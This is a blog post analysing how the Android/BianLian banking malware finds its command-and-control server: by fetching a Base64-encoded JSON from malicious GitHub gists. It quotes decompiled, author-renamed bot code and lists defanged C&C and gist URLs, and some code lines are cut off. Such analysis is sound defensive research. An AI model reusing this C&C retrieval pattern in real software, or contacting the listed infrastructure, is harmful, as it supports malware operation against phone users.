BianLian C&C domain name

cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221

@cryptax January 25, 2022

@cryptax

Jan 25

.

2 min read

You might want to read my prior articles on Android/BianLian first: , , .

There was a remaining point which was bugging me: how does the Android/BianLian bot know **where to contact the C&C**?
Having worked on the samples for several days, I noticed they weren't always heading to the same website: `hxxp://rheacollier31532[.]website` , `hxxp://shanehook85484[.]website` etc.

So, where do those names come from? Is this from a *Domain Generation Algorithm* (DGA)? or are they hidden in an asset?

Answer: **the active C&C is returned by a malicious GitHub user account**. The account name unfortunately varies from one sample to another:

- `hxxps://gist.githubusercontent.com/ferrari458italy/4fe02ee186816abcfcca6eaaed44659d/raw/helloworld.json`
- `hxxps://gist.githubusercontent.com/monopolyofficial/e0656a5a4d04af06e2af9ed83aa0c868/raw/helloworld.json`
- …

The json page actually contains a Base64-encoded JSON object with the C&C's URL:

```
$ curl XX0K$ echo
"eyJkb21haW5zIjpbImh0dHA6Ly9mdWxsdmVoZHZpZGVvaXpsZW1lYXlhcmxhcmk0NTQ1LnNpdGUiXX0K" |
base64 -d{"domains":[""]}
```

How does the code work?

1. At first, the code sets a Property with a decrypted admin URL.

```
System.setProperty("unlockDate", "30-12-2016 16-00");
System.setProperty("debugMode", Boolean.toString(false));  // would be interesting to set th
System.setProperty("baseUrl", BotSharedPrefs_c.decrypt_preferences_admin_panel_url(thectx));
System.setProperty("launcherActivity", MainActivity.class.getName());
System.setProperty("components", "text, ussd, locker, injects, socks5, screencast, soundSwit
new Init(thectx);
ToastMessages.initInstance(thectx.getApplicationContext());
```

2. Actually, as the shared preferences file has no C&C yet, this will actually return a dummy C&C `https://www.google.com`

```
public static String decrypt_preferences_admin_panel_url(Context arg6) {
    String encrypted_value = arg6.getSharedPreferences("pref_name_setting", 0).getString("admin_panel_url_", "https://www.google.com");
    return b.a().decrypt_xorkey(encrypted_value);
}
```

3. The real C&C is retrieved from the init procedure

```
public void updateAdminUrlFromFerrari(OnResponse arg7) {
    new b(this, this.authorizationHttp.post2url("https://gist.githubusercontent.com/ferrari4
        private static short[] $;
        final GeoGist_g a;
```

I have renamed methods for better readability. The original name of the method is `com.pmmynubv.nommztx.bot.g.b`

4. The code retrieves the “domains” parameter of the JSON

```
private String getUrl(GenericMap_m jsonobj) {
    try {
        return jsonobj.doGet("domains").doGetItem(0).getString();
    }
    catch(Exception unused_ex) {
        return "";
    }
}
```

5. Finally, the code sets the URL in the shared preferences.

```
@Override // com.pmmynubv.nommztx.bot.c.c
public void ok(HttpReponse_g response) {
    String admin_url;
    if(response.isSuccessCode()) {
        GenericMap_m map = response.getGenericMap();
        admin_url = GeoGist_g.readUrl(GeoGist_g.this, map);
    }
    else {
        admin_url = null;
    }

    if(admin_url != null) {
        if(admin_url.endsWith("/")) {
            admin_url = admin_url.substring(0, admin_url.length() - 1);  // remove trailing
        }

        BotSharedPrefs_c.setAdminUrlPanel(BotPrefs.getSelfInstance().getCtx(), admin_url);
    }
}
```

The code reads the “domains” part of the JSON object (readUrl), removes the trailing / if necessary, and finally writes the URL down in its configuration. The original name of this method is `com.pmmynubv.nommztx.bot.g.a`

Conclusion: there is no DGA algorithm. It is just a hard-coded remote URL serving an updated C&C name.

— the Crypto Girl